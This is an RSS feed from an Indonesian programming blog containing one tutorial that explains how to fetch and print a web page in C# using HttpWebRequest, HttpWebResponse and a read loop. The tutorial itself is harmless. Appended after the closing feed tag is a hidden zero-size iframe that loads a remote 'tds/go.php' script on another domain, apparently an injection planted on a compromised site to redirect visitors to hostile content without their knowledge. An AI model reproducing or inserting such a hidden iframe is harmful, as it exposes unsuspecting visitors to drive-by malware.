<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; web development</title>
	<atom:link href="http://www.dijexi.com/tag/web-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Membaca Halaman Web dengan C#</title>
		<link>http://www.dijexi.com/2009/05/membaca-halaman-web-dengan-c-sharp/</link>
		<comments>http://www.dijexi.com/2009/05/membaca-halaman-web-dengan-c-sharp/#comments</comments>
		<pubDate>Tue, 26 May 2009 15:51:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[C-Sharp]]></category>
		<category><![CDATA[Dotnet]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/05/membaca-halaman-web-dengan-c-sharp/</guid>
		<description><![CDATA[HTTP classes pada .NET framework adalah HTTPWebRequest dan HTTPWebResponse.  Langkah yang diperlukan  untuk menggunakannya adalah menentukan halaman web yang akan dibaca menggunakan HTTPWebRequest object, melakukan request yang dibutuhkan, dan menggunakan HTTPWebResponse object untuk menerima halaman web.  Untuk itu kita perlu menggunakan operasi stream untuk meng-ekstrak informasi pada halaman tersebut. Berikut contoh program yang memperlihatkan bagaimana [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>HTTP classes pada .NET framework adalah <em>HTTPWebRequest</em> dan <em>HTTPWebResponse</em>.  Langkah yang diperlukan  untuk menggunakannya adalah menentukan halaman web yang akan dibaca menggunakan <em>HTTPWebRequest</em> object, melakukan request yang dibutuhkan, dan menggunakan <em>HTTPWebResponse</em> object untuk menerima halaman web.  Untuk itu kita perlu menggunakan operasi <em>stream </em>untuk meng-ekstrak informasi pada halaman tersebut. Berikut contoh program yang memperlihatkan bagaimana proses tersebut berlangsung.</p>
<p><span id="more-368"></span></p>
<pre><span style="color: blue">using</span> System;
<span style="color: blue">using</span> System.IO;
<span style="color: blue">using</span> System.Net;
<span style="color: blue">using</span> System.Text;

<span style="color: silver">/// &lt;summary&gt;</span>
<span style="color: silver">/// Fetches a Web Page</span>
<span style="color: silver">/// &lt;/summary&gt;</span>
<span style="color: blue">class</span> WebFetch
{
	<span style="color: blue">static</span> <span style="color: blue">void</span> Main(<span style="color: blue">string</span>[] args)
	{
		<span style="color: green">// untuk menyimpan data input</span>
		StringBuilder sb  = <span style="color: blue">new</span> StringBuilder();

		<span style="color: green">// untuk menampung setiap operasi pembacaan data</span>
		<span style="color: blue">byte</span>[]        buf = <span style="color: blue">new</span> <span style="color: blue">byte</span>[8192];

		<span style="color: green">// siapkan halaman web yang akan dibaca</span>
		HttpWebRequest  request  = (HttpWebRequest)
			WebRequest.Create("http://www.vitraining.com/cms");

		<span style="color: green">// jalankan request</span>
		HttpWebResponse response = (HttpWebResponse) request.GetResponse();

		<span style="color: green">// baca data melalui response stream</span>
		Stream resStream = response.GetResponseStream();

		<span style="color: blue">string</span> tempString = <span style="color: blue">null</span>;
		<span style="color: blue">int</span>    count      = 0;

		<span style="color: blue">do</span>
		{
			<span style="color: green">// isi buffer dengan data</span>
			count = resStream.Read(buf, 0, buf.Length);

			<span style="color: green">// pastikan ada data yang dibaca</span>
			<span style="color: blue">if</span> (count != 0)
			{
				<span style="color: green">// translate dari bytes ke ASCII text</span>
				tempString = Encoding.ASCII.GetString(buf, 0, count);

				<span style="color: green">// simpan string </span>
				sb.Append(tempString);
			}
		}
		<span style="color: blue">while</span> (count &gt; 0); <span style="color: green">// masih ada data yang perlu dibaca?</span>

		<span style="color: green">// tampilkan output</span>
		Console.WriteLine(sb.ToString());
	}
}</pre>
<p>Program pada Listing 1 akan me-request halaman web dan menampilkan HTML pada layar.  Dikarenakan data dari halaman web berupa bytes, kite perlu set sebuah byte array, yang diberinama <em>buf</em>, untuk menampung byte tersebut.</p>
<p>Langkah pertama adalah membuat <em>HttpWebRequest</em> object.  Ini terjadi ketika kita memanggil method <em>Create()</em> dari <em>WebRequest</em>.  Parameter method <em>Create()</em> adalah string yang berisi URL web page yang akan dibaca. Method <em>Create()</em> return object berjenis <em>WebRequest</em> , jadi kita perlu melakukan cast ke jenis <em>HttpWebRequest</em> sebelum meng-assign-nya ke variabel <em>request</em> .  Berikut ini baris programnya:</p>
<pre>		HttpWebRequest  request  = (HttpWebRequest)
			WebRequest.Create("http://www.mayosoftware.com");</pre>
<p>Ketika <em>request</em> object sudah terbentuk, kita tinggal gunakan untuk membuat <em>response</em> object.  Object <em>response</em> dibuat menggunakan method <em>GetResponse()</em> dari  <em>request</em> object yang baru saja dibuat.  Method <em>GetResponse()</em> tidak membutuhkan parameters dan return object berjenis <em>WebResponse</em> yang harus di-cast menjadi <em>HttpWebResponse</em> sebelum kita bisa meng-assign-nya kepada <em>response</em> object.  Baris berikut ini menampilkan bagaimana memperoleh <em>HttpWebResponse</em> object.</p>
<pre>		HttpWebResponse response = (HttpWebResponse) request.GetResponse();</pre>
<p>Object <em>response</em> digunakan untuk mendapatkan <em>Stream</em> object, yang merupakan member dari namespace <em>System.IO</em> .  Method <em>GetResponseStream()</em> dari <em>response</em> dipanggil untuk mendapatkan stream ini sebagai berikut:</p>
<pre>		Stream resStream = response.GetResponseStream();</pre>
<p>Sekarang kita akan menggunakan object byte array yang sudah didefinisikan diatas, yaitu melalui method <em>Read() </em>dari object stream untuk menerima data dari web page.  Method <em>Read()</em> memiliki 3 arguments:  yang pertama adalah byte array yang akan menampung data, yang kedua adalah posisi awal array yang akan diisi, dan yang ketiga adalah jumlah maximum byte yang akan dibaca.  Return-nya adalah jumlah byte yang berhasil dibaca.  Berikut ini bagaimana membaca data dari web page:</p>
<pre>		count = resStream.Read(buf, 0, buf.Length);</pre>
<p>Sekarang array of bytes <em>buf</em> sudah terisi dengan data dari web page. Namun data bytes ini perlu dikonversi terlebih dahulu menjadi string agar kita dapat memanfaatkan semua method untuk memanipulasi string yang tersedia pada  .NET.  Disini kita gunakan class <em>ASCII</em> yang terdapat pada class <em>Encoding</em> pada namespace <em>System.Text</em>.  Class <em>ASCII</em> memiliki method <em>GetString()</em> yang mempunyai tiga parameter mirip seperti method  <em>Read() </em>.  Parameter pertama adalah byte array yang akan dibaca yaitu <em>buf</em> .  Parameter kedua adalah posisi awal yang akan dibaca pada <em>buf</em> .  Parameter ketiga adalah jumlah bytes pada <em>buf</em> yang akan dibaca, yang dalam hal ini adalah <em>count</em>, yang merupakan jumlah bytes hasil method <em>Read()</em> yang akan menjamin bahwa hanya sejumlah itu byte yang akan dikonversi.  Berikut ini program yang menkonversi bytes pada <em>buf</em> menjadi string dan menyimpan hasilnya pada object StringBuilder.</p>
<pre>		tempString = Encoding.ASCII.GetString(buf, 0, count);

		sb.Append(tempString);</pre>
<p>Ukutan diset 8192, yang sangat kecil bahkan untuk menampung halaman web yang sederhana.  Untuk mensiasati hal ini, baris program yang membaca response stream harus dibuat menjadi loop yang terus membaca sampai tidak ada lagi data bytes.  Listing 1 program di atas menggunakan loop <em>do</em> karena kita paling tidak perlu melakukan satu kali pembacaan. Ingat bahwa setiap kali pemanggilan  <em>read()</em> hasilnya adalah jumlah byte yang berhasil dibaca.  Kondisi pada <em>while</em> dari loop <em>do</em> mengecek jumlah tersebut untuk memastikan bahwa sesuatu telah berhasil dibaca.  Juga perhatikan adanya statement if yang memastikan bahwa kita tidak menkonversi bytes ketika tidak ada data yang dibaca.  Karena kita menggunakan loop, kita perlu mengumpulkan hasil pembacaan pada setiap perulangan, yang dalam hal ini di-append pada object StringBuilder.</p>
<h4><strong> </strong></h4>
<p><strong>Ak</strong>hmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2008/06/perl-membaca-file-excel/" rel="bookmark">Perl Membaca File Excel</a></li><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/" rel="bookmark">Mengakses INI File dengan C Sharp</a></li><li><a href="http://www.dijexi.com/2009/04/bagaimana-cara-setup-paypal-modul-di-zen-cart-tm/" rel="bookmark">Bagaimana Cara Setup PayPal Modul di Zen Cart (tm)</a></li><li><a href="http://www.dijexi.com/2009/10/lowongan-kerja-php-programmer/" rel="bookmark">Lowongan Kerja: PHP Programmer</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F05%2Fmembaca-halaman-web-dengan-c-sharp%2F&amp;linkname=Membaca%20Halaman%20Web%20dengan%20C%23"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/05/membaca-halaman-web-dengan-c-sharp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
